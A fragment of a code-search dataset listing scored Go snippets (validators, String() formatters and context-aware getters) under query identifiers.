error. Please retry\"), false\n\t}\n\tif temp.Title != \"\" {\n\t\treturn u.Message(false, \"Recipe already in db.\"), false\n\t}\n\n\t//All the required parameters are present\n\treturn u.Message(true, \"success\"), true\n}", "title": "" }, { "docid": "294b9b5ed4c4c51cecf71f0ec0533bad", "score": "0.5874613", "text": "func (u *User) Validate() error {\n\t// log.Printf(\"%v\", u)\n\n\terrorOccured := false\n\terrorObject := UserError{}\n\n\tif !emailRegex.MatchString(u.Email) {\n\t\t// TODO concatenate error object\n\t\tlog.Printf(\"Email did not match. Given email: %v\", u.Email)\n\t\terrorOccured = true\n\t\terrorObject.Email = u.Email + \" is not formatted correctly.\"\n\t}\n\n\tif !passwordRegex.MatchString(u.Password) {\n\t\t// TODO concatenate error object\n\t\tlog.Printf(\"Password did not match. Given password: %v\", u.Password)\n\t\terrorOccured = true\n\t\terrorObject.Password = \"Improper Formatting\"\n\t}\n\n\tif errorOccured {\n\t\treturn &errorObject\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ce763ecacd2eaffd1b6682639dec021b", "score": "0.5873701", "text": "func (r *Record) Validate(typ Type) error {\n\t// validate A address\n\tif typ == A {\n\t\tip := net.ParseIP(r.Address)\n\t\tif ip == nil || ip.To4() == nil {\n\t\t\treturn errors.Errorf(\"invalid IPv4 address: %s\", r.Address)\n\t\t}\n\t}\n\n\t// validate AAAA address\n\tif typ == AAAA {\n\t\tip := net.ParseIP(r.Address)\n\t\tif ip == nil || ip.To16() == nil {\n\t\t\treturn errors.Errorf(\"invalid IPv6 address: %s\", r.Address)\n\t\t}\n\t}\n\n\t// validate CNAME and MX addresses\n\tif typ == CNAME || typ == MX {\n\t\tif !IsDomain(r.Address, true) {\n\t\t\treturn errors.Errorf(\"invalid domain name: %s\", r.Address)\n\t\t}\n\t}\n\n\t// check TXT data\n\tif typ == TXT {\n\t\tif len(r.Data) == 0 {\n\t\t\treturn errors.Errorf(\"missing data\")\n\t\t}\n\n\t\tfor _, data := range r.Data {\n\t\t\tif len(data) > 255 {\n\t\t\t\treturn errors.Errorf(\"data too long\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// validate NS addresses\n\tif typ == NS {\n\t\tif !IsDomain(r.Address, true) {\n\t\t\treturn errors.Errorf(\"invalid ns name: %s\", r.Address)\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "c9d403a5d57df6eb27f6c9c63589c04f", "score": "0.5868788", "text": "func (m *Match_Criteria) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for Header\n\n\t// no validation rules for Value\n\n\treturn nil\n}", "title": "" }, { "docid": "edf6002adc37d558a1a3e48c236593c7", "score": "0.5866355", "text": "func (input *User)Validate() *errors.RestErr {\n\tinput.Firstname = strings.TrimSpace(input.Firstname)\n\tinput.Lastname = strings.TrimSpace(input.Lastname)\n\tinput.Email = strings.TrimSpace(input.Email)\n\tif userDB[input.Email] != nil {\n\t\treturn errors.NewRestErrBadRequest(\"email address already exist\")\n\t}\n\tinput.Password = strings.TrimSpace(input.Password)\n\tif input.Password == \"\" {\n\t\treturn errors.NewRestErrBadRequest(\"Password cannot be empty\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "77546f600c8127e40c9085a637ae7744", "score": "0.58603144", "text": "func (c *Contact) Validate(sessionID *string, checkRelConsist func(map[string]string) error) error {\n\treturn nil\n}", "title": "" }, { "docid": "4cceae70246ce36ef3e1f4cf9da8febb", "score": "0.5859828", "text": "func (f ValidatorFunc) Validate(ctx Context) (error, error) {\n\treturn f(ctx)\n}", "title": "" }, { "docid": "fe49d0787b5faf1c4eebb5d530ccd398", "score": "0.58552927", "text": "func (p *Patient) Validate() (bool, []error) {\n\treturn schema.ValidateResource(*p, \"3\")\n}", "title": "" }, { "docid": "0cf6f7a2dd879c1970271683c0275354", "score": "0.58526605", "text": "func (info Info) Validate() error {\n\tif err := info.validateRequiredFields(); err != nil {\n\t\treturn err\n\t}\n\treturn info.validateFields()\n}", "title": "" }, { "docid": "da776ebb23b06c253951ec34a6e070e7", "score": "0.5851149", "text": "func (m *UnitUsageRecord) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateUsageRecords(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "eaec1e24afb5cddd3192704fb0e5ab92", "score": "0.5850977", "text": "func (cv *CustomValidator) Validate(i interface{}) error {\r\n\treturn cv.Validator.Struct(i)\r\n}", "title": "" }, { "docid": "f6c6f528c22a5ddcc5cbe4dc027f39c6", "score": "0.585041", "text": "func (v *optionalValidator) Validate() error {\n\tif v.predicate {\n\t\treturn v.rule.Validate()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8f62a4d8286fae0da72fff042d0cf5b4", "score": "0.5848833", "text": "func (r updateRq) validate() error {\n\n\tif len(r.ProjectID) == 0 {\n\t\treturn fmt.Errorf(\"the id of the project cannot be empty\")\n\t}\n\tif len(r.Body.Name) == 0 {\n\t\treturn fmt.Errorf(\"the name of the project cannot be empty\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2f273adda6b7273cc313de41ca2c6d45", "score": "0.58482105", "text": "func (m BaseEntity) Validate() error {\n\treturn validation.Errors{\n\t\t\"id\": validation.Validate(\n\t\t\tm.Id, validation.Required, is.UUID,\n\t\t),\n\t}.Filter()\n}", "title": "" }, { "docid": "5e5b35825789392dc5acd034bd7fd51a", "score": "0.5845827", "text": "func (m *ValidationResult) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateState(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" } ]
1dab691f1311c4e656e1ecbf69c84ed8
String returns the string representation
[ { "docid": "204f3ba66e7da3f2d624bd7acff155f3", "score": "0.0", "text": "func (s PutKMSEncryptionKeyOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" } ]
[ { "docid": "30b45ec7131cf51da881df3fd8ec41e2", "score": "0.7479974", "text": "func str() string", "title": "" }, { "docid": "4f8b9fc1b80367e70617dd0085ab145a", "score": "0.70813644", "text": "func (p Platnoscis) String() string {\n\tjp, _ := json.Marshal(p)\n\treturn string(jp)\n}", "title": "" }, { "docid": "54e1a6f37475327d9f5b804e901f51cb", "score": "0.70526403", "text": "func (s ExportLensOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "42b262b800d8b70832ec0e35ea07f941", "score": "0.70485294", "text": "func String() string {\n\treturn string(p.b)\n}", "title": "" }, { "docid": "c46458c4dd3f5643f06600ef58d0c7ca", "score": "0.70387244", "text": "func (o *Actionmapestimateoutcomecriteria) String() string {\n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "33c4efff861e6f8131917d5e7eef31ec", "score": "0.7028644", "text": "func (o *Createintegrationrequest) String() string {\n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "2bb8becf68247ba2bf7c7e897760982f", "score": "0.70282406", "text": "func (p Platnosci) String() string {\n\tjp, _ := json.Marshal(p)\n\treturn string(jp)\n}", "title": "" }, { "docid": "4292ed52fd36eecac1ef5877a225dc59", "score": "0.7026907", "text": "func (s CreateLensVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0b0adf2a2f3bb903a762c6aa17af1f15", "score": "0.70175666", "text": "func (s RecordOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "61daba3449c02f3f765e20ce493f3e83", "score": "0.70173925", "text": "func (n *Node) String() {\n\tfmt.Println(\"Stringify\")\n\tstringify(n, 0)\n}", "title": "" }, { "docid": "d194895423cefd74d4ca75937daf55df", "score": "0.7015016", "text": "func (t ShipmentRecalculates) String() string {\n\tjt, _ := json.Marshal(t)\n\treturn string(jt)\n}", "title": "" }, { "docid": "6faf2bc4b854f1279ff4cc20446ca28d", "score": "0.6992237", "text": "func (t ShipmentRecalculate) String() string {\n\tjt, _ := json.Marshal(t)\n\treturn string(jt)\n}", "title": "" }, { "docid": "f4f5c1ae0c20af6feabc5095d30857ca", "score": "0.6986944", "text": "func (o *Outcomequantilecondition) String() string {\n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "86cf005eca56844f1dd162460fc3379a", "score": "0.6985479", "text": "func (s CreateDetectorVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "73e9430e36e8f23d6148a64d038970b4", "score": "0.69795084", "text": "func (s CreateInterconnectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "73e9430e36e8f23d6148a64d038970b4", "score": "0.69795084", "text": "func (s CreateInterconnectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "1eb083aaf7a236100539da1df9286041", "score": "0.6974436", "text": "func (s CreateQuantumTaskOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "065fc7454eb90d32c8cbf8edf9c2d52d", "score": "0.6971706", "text": "func String(v interface{}) string {\n\treturn NewData(v).String()\n}", "title": "" }, { "docid": "2b452f2ba3fa5fbc24ea63a9b0456b13", "score": "0.6969602", "text": "func (s InferRxNormOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "941ee3c97f63adeefbe2dfe75d77fa8a", "score": "0.69690245", "text": "func (o *Analyticsparticipantwithoutattributes) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "dbb8ca7276a91ec2ff92bf74a65e425b", "score": "0.6965894", "text": "func (s *Solution) String() string {\n\ts.Encode()\n\tb, _ := json.Marshal(s)\n\treturn string(b)\n}", "title": "" }, { "docid": "1cccefeaaf2eb268fb451df170f924c4", "score": "0.6948599", "text": "func (a activation) String() string {\n\tvar buf bytes.Buffer\n\tbuf.WriteString(a.Name)\n\tif a.version != nil {\n\t\tbuf.WriteRune(space)\n\t\tbuf.WriteString(a.version.String())\n\t}\n\treturn buf.String()\n}", "title": "" }, { "docid": "62139d383a9352c35a1017272ea215eb", "score": "0.69460964", "text": "func (s CreateRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "62139d383a9352c35a1017272ea215eb", "score": "0.69460964", "text": "func (s CreateRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e58a00ce7846d03786281b91a174f8ed", "score": "0.6942921", "text": "func (s GreengrassOutputDetails) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5fc9138f7da9056810c7b0f71ac73226", "score": "0.694029", "text": "func (s CreateDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "53da424ddfd66edc586c234353fdb946", "score": "0.6939724", "text": "func (s CreateStackOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "48804926b04aedd57e8f4cb09d2f6981", "score": "0.6927137", "text": "func (s CreateBackendOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "09a6157dd836948a591cbf6c057d7963", "score": "0.69257885", "text": "func (o *Edgemetricsprocessor) String() string {\n \n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "c234ac6eedc40642d4e357010bb659c2", "score": "0.69201213", "text": "func (o *Reportingturnknowledge) String() string {\n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "491ec12d0e658fbc1c5d00228f7966d3", "score": "0.69123024", "text": "func (s RebuildEnvironmentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "491ec12d0e658fbc1c5d00228f7966d3", "score": "0.69123024", "text": "func (s RebuildEnvironmentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d84fec35d42f8d30aedae0cc2e7e2acb", "score": "0.69086283", "text": "func (s CreateComponentVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "dabd5d27645d601299240f720d39b579", "score": "0.69083226", "text": "func (s ReverseReplicationOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "bc783eca93e4ba8f4f84d44012a3190d", "score": "0.6908038", "text": "func (o *Faxsummary) String() string {\n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "c1ae63650b5cadf84a67ba2db422add7", "score": "0.690313", "text": "func (s CreateAnalysisOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "4695cdd7ab10fbe10b475b0a5a2a237e", "score": "0.6901282", "text": "func (s TestDNSAnswerOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "8a2a33d725a7e006f935c247495c5a50", "score": "0.68986356", "text": "func (p Produkties) String() string {\n\tjp, _ := json.Marshal(p)\n\treturn string(jp)\n}", "title": "" }, { "docid": "a0a9ab2cf7d202002156224f98191abe", "score": "0.6896987", "text": "func (s StartSourceNetworkRecoveryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5d067874175d4142717f30e870752611", "score": "0.68903446", "text": "func (l Languages) String() string {\n\tjl, _ := json.Marshal(l)\n\treturn string(jl)\n}", "title": "" }, { "docid": "f93d8a32a6f01770a9e1a9237eee3537", "score": "0.6888019", "text": "func (s StartCelebrityRecognitionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "825d4423882f08867b84b61da07dd70d", "score": "0.68849045", "text": "func (s CreateConstraintOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f24465fa740fe15fa9b0d738f8df1f8c", "score": "0.6884013", "text": "func (s RestoreAnalysisOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f4d5ca267242dbb34de825e8f61f6af3", "score": "0.6883426", "text": "func (s CreateBGPPeerOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f4d5ca267242dbb34de825e8f61f6af3", "score": "0.6883426", "text": "func (s CreateBGPPeerOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3455d0387ed4cba9531b898cf0eb6319", "score": "0.68822384", "text": "func (o *Campaignruleparameters) String() string {\n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "328d864c8b9c74ecafe47e27d4ad016f", "score": "0.68766147", "text": "func (s CreateModelOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "328d864c8b9c74ecafe47e27d4ad016f", "score": "0.68766147", "text": "func (s CreateModelOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "cb5285b67f99b5e4031fb1cfa6bf514e", "score": "0.6873038", "text": "func (s CreateFieldOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "daf9c1a4f5be9be430167b4424f99958", "score": "0.6871366", "text": "func (s CreateModelVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "20177e74fd0b80ae280ce44f1fa6c74f", "score": "0.6871263", "text": "func (s MultiplexProgram) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e7629ffc579da02c648cad037e83e4d0", "score": "0.6869421", "text": "func (s CreateActivationOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d0215beb45b524075b7ad2982760b5b4", "score": "0.68677104", "text": "func (s CreateProjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d0215beb45b524075b7ad2982760b5b4", "score": "0.68677104", "text": "func (s CreateProjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "4abeb76f5e7e0d71e8e25c28fbe87b7b", "score": "0.6867449", "text": "func (o *Mutesnoozefields) String() string {\n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "e87516d15e520611deef56d1fdb207dc", "score": "0.6863144", "text": "func (g *Genesis) String() string {\n\tdata, err := json.Marshal(g)\n\tif err != nil {\n\t\treturn fmt.Sprintf(\"ERR: %v\", err)\n\t}\n\treturn string(data)\n}", "title": "" }, { "docid": "831a919f338ccaaadd83cdf67c48f999", "score": "0.68620974", "text": "func (m *M3) String() string {\n x := m.matrix\n return fmt.Sprintf(\"%f %f %f\\n\"+\n \"%f %f %f\\n\"+\n \"%f %f %f\\n\",\n x[0], x[1], x[2],\n x[3], x[4], x[5],\n x[6], x[7], x[8])\n}", "title": "" }, { "docid": "3ab6d8e4ffa02c276637e4fbda71e824", "score": "0.685315", "text": "func (s CreateThingOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d4d6748370bfa367312a6c97d8a353f5", "score": "0.68530023", "text": "func (n *Nodes) String() string {\r\n\treturn fmt.Sprintf(\"%s\", *n)\r\n}", "title": "" }, { "docid": "916b793a90167b2e9f0464b1da8ca99e", "score": "0.68507904", "text": "func (s CreatePredictorOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "82f5e4a08b5eaf56f3159b8915dfd46c", "score": "0.68453586", "text": "func (s StartRecoveryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "bbab7ca9e7be50e80b0aede77160166d", "score": "0.6843722", "text": "func (s CreateCaseOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "96e11bbfa1fd1ea8d6633d02461c51f3", "score": "0.68436366", "text": "func (o *Trustmembercreate) String() string {\n \n o.RoleIds = []string{\"\"} \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "d9449697b82bbaa13fa4d751f16a54a6", "score": "0.6843053", "text": "func (v Version) String() string {\n\treturn v.raw\n}", "title": "" }, { "docid": "a65910151202953b9e6ca817d52d434d", "score": "0.68428576", "text": "func (s ImportLensOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5279750ae5344e06aacacad3d45f5087", "score": "0.68419206", "text": "func (s GetObjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5279750ae5344e06aacacad3d45f5087", "score": "0.68419206", "text": "func (s GetObjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b7d1dfac1f5819e1746ea14d6a9e75fb", "score": "0.6841638", "text": "func (s CreateHsmOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0953b816a6a3b58effcc56c638846402", "score": "0.6840354", "text": "func (r *Receipt) String() string {\n out, err := json.MarshalIndent(r, \"\", \"\\t\")\n if err != nil {\n return fmt.Sprintf(\"%v\", err)\n\t}\n\treturn fmt.Sprintf(string(out))\n}", "title": "" }, { "docid": "af7e83b226664a10979cb02f117182c4", "score": "0.684033", "text": "func (s CreateDocumentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "343a99333a4fd2558385b4dada93a42d", "score": "0.68374443", "text": "func (s CreateWhatIfAnalysisOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6ebe18c38e96ee3753db3e9737addecc", "score": "0.68365705", "text": "func (s RenewCertificateOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "1ea0ba9430e6834c75eac26e9c192523", "score": "0.68336546", "text": "func (s OpenTunnelOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "8c11ea689191195ba52edd26d84cb275", "score": "0.6829417", "text": "func (station *Station) ToString() string {\n\treturn fmt.Sprint(station.GetImage(), \"~\", station.GetName())\n}", "title": "" }, { "docid": "62a14f19e67f83eaf2f5f969ca0dec79", "score": "0.6828682", "text": "func (c *Challenge) String() string {\n\tb := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(b, c.d)\n\treturn fmt.Sprintf(\"%s.%s.%s\", version, base64.StdEncoding.EncodeToString(b), base64.StdEncoding.EncodeToString(c.x.Bytes()))\n}", "title": "" }, { "docid": "f80d75ae1f7673169eabe749e0562999", "score": "0.6828604", "text": "func (s CreateFileSystemOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a88c9a559bae68f3993c80baafa795eb", "score": "0.6825455", "text": "func (p *payload) String() string {\n\tps := []string{}\n\tfor key, value := range p.values {\n\t\tps = append(ps, fmt.Sprintf(\"<%q: %v>\", key, value))\n\t}\n\treturn strings.Join(ps, \", \")\n}", "title": "" }, { "docid": "0d4db8c7402dfd010c1757153851cf13", "score": "0.6824876", "text": "func (s S) String() string {\n\treturn string(s)\n}", "title": "" }, { "docid": "0d4db8c7402dfd010c1757153851cf13", "score": "0.6824876", "text": "func (s S) String() string {\n\treturn string(s)\n}", "title": "" }, { "docid": "0d6281dc4dbab50863ba732f6ea402c6", "score": "0.68234265", "text": "func (info *Info) String() string {\n\tdata, err := info.ToJSON()\n\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\n\treturn string(data[:])\n}", "title": "" }, { "docid": "b95fa873ee43e7f8cc2dc963dd9c8268", "score": "0.6823129", "text": "func (s GetQuantumTaskOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "25c9cf068e0491fa615062323f2942b1", "score": "0.68204916", "text": "func (s SignedObject) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2d1c6417ca83cddfe92926b7e5e20c9b", "score": "0.68195844", "text": "func (s CreatePackageVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "388eaa2fd3b90086c95f343ae8907563", "score": "0.68166715", "text": "func (o *Createplanninggrouprequest) String() string {\n \n o.RoutePaths = []Routepathrequest{{}} \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "f0692be0d3c2146cb8c573f2b098690a", "score": "0.681379", "text": "func (s CreateProtectionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "34860eac8f0530c1a711a521f26b0e04", "score": "0.6813482", "text": "func String() string {\n\treturn fmt.Sprintf(\"release=%s, revision=%s, user=%s, build=%s, go=%s\",\n\t\trelease, revision, buildUser, buildDate, goVersion)\n}", "title": "" }, { "docid": "f5548c7b65fce43867b2ecf5d377962e", "score": "0.68094844", "text": "func (s CreateApplicationVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "8be9947ee136995c1d5c64b926305268", "score": "0.68044287", "text": "func (rv ResourceVersion) String() string {\n\treturn string(rv)\n}", "title": "" }, { "docid": "b212f621523dc31154cbad1f30505483", "score": "0.68025297", "text": "func (s CreateAddressBookOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "eae8a45a67ac46c5ba27c99e7d9584fe", "score": "0.6802066", "text": "func (s CreatePlatformVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "eae8a45a67ac46c5ba27c99e7d9584fe", "score": "0.6802066", "text": "func (s CreatePlatformVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "eae8a45a67ac46c5ba27c99e7d9584fe", "score": "0.6802066", "text": "func (s CreatePlatformVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5645b98d27ab43fcddf45cf0f14ffaee", "score": "0.68010473", "text": "func (v Version) String() string {\n\tjv, _ := json.Marshal(v)\n\treturn string(jv)\n}", "title": "" }, { "docid": "694636a40918776eb4b46072e4e9325f", "score": "0.6799967", "text": "func (s CreateKeysAndCertificateOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b8d597de0672e70e54237e0771189baa", "score": "0.6797514", "text": "func (s CreateTemplateOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b8d597de0672e70e54237e0771189baa", "score": "0.6797514", "text": "func (s CreateTemplateOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b8d597de0672e70e54237e0771189baa", "score": "0.6797514", "text": "func (s CreateTemplateOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b8d597de0672e70e54237e0771189baa", "score": "0.6797514", "text": "func (s CreateTemplateOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a0725864ae2c240df739f9d05577b798", "score": "0.6797047", "text": "func (node *PathExpression) String() string {\n\treturn fmt.Sprintf(\"Path{Original:'%s', Pos:%d}\", node.Original, node.Loc.Pos)\n}", "title": "" }, { "docid": "1aa06502d94349947749f4e7907dd41f", "score": "0.6792985", "text": "func (o *Trustcreate) String() string {\n \n \n o.Users = []Trustmembercreate{{}} \n o.Groups = []Trustmembercreate{{}} \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "abd9d3c791b1d0f1e3772afe706f22c3", "score": "0.67915523", "text": "func (s CreateAutoPredictorOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" } ]
acc5e0e88e98a9286f614ca843707bae
WithContext adds the context to the get image from default with runtime params
[ { "docid": "0f226810afc92d011ba50d8996069db4", "score": "0.62005275", "text": "func (o *GetImageFromDefaultWithRuntimeParams) WithContext(ctx context.Context) *GetImageFromDefaultWithRuntimeParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" } ]
[ { "docid": "a4ce2aa1f8cea5bbbf570ecc3ab81d95", "score": "0.5461805", "text": "func GetWithContext(ctx context.Context, namespace, key string) interface{} {\n\tif storage, ok := ctx.Value(ContextKey).(Storage); ok {\n\t\t// Storage onboard, get and return value.\n\t\treturn storage.Get(namespace, key)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "55d9d27c95f60f798dfb3b3a339133af", "score": "0.54450256", "text": "func getWithContext(ctx context.Context, httpClient *http.Client, url string, body io.Reader) (res *http.Response, err error) {\n\t// Change NewRequest to NewRequestWithContext and pass context it\n\treq, err := http.NewRequestWithContext(ctx, http.MethodGet, url, body)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"http client request with context failed: %w\", err)\n\t}\n\n\tif res, err = httpClient.Do(req); err != nil {\n\t\treturn nil, fmt.Errorf(\"http client do failed: %w\", err)\n\t}\n\n\treturn res, nil\n}", "title": "" }, { "docid": "6b5fc72e4eb9255804bbc9d7e9f40fb9", "score": "0.52688", "text": "func (o *GetImageFromDefaultWithRuntimeParams) SetContext(ctx context.Context) {\n\to.Context = ctx\n}", "title": "" }, { "docid": "55d0f5953d7e02963214fc64f3c14509", "score": "0.50807166", "text": "func (o *GetImageByIDParams) WithContext(ctx context.Context) *GetImageByIDParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "a368a5bed2c83c895665a389a9855b60", "score": "0.49756008", "text": "func (a *Request) ExecWithContext(ctx context.Context, body string) ([]byte, error) {\n\tres, err := a.execFromMemory(ctx, body)\n\n\tif a.FromCache = len(res) > 0 && err == nil; a.FromCache {\n\t\tverbose(\"cache hit: \" + a.GetID(body))\n\t\treturn res, err\n\t}\n\n\tverbose(\"cache miss: \" + a.GetID(body))\n\treturn a.execHTTPWithContext(ctx, body)\n}", "title": "" }, { "docid": "8e94c844a12cf358637f93fa289e8c50", "score": "0.4947766", "text": "func NewGetImageFromDefaultWithRuntimeParams() *GetImageFromDefaultWithRuntimeParams {\n\tvar ()\n\treturn &GetImageFromDefaultWithRuntimeParams{\n\n\t\ttimeout: cr.DefaultTimeout,\n\t}\n}", "title": "" }, { "docid": "5d934dcffba8377abb70580cdd22f12f", "score": "0.49115312", "text": "func (o *UpdateCustomImageParams) WithContext(ctx context.Context) *UpdateCustomImageParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "0c2334e29b15d7a7cd1b9e21021e27c2", "score": "0.48669294", "text": "func getImage(c *gin.Context) {\n\t// Get images\n\timage, ok := c.Keys[\"image\"].(models.Image)\n\tif !ok {\n\t\tpanic(\"Unable to get image from context\")\n\t}\n\tc.JSON(http.StatusOK, image)\n}", 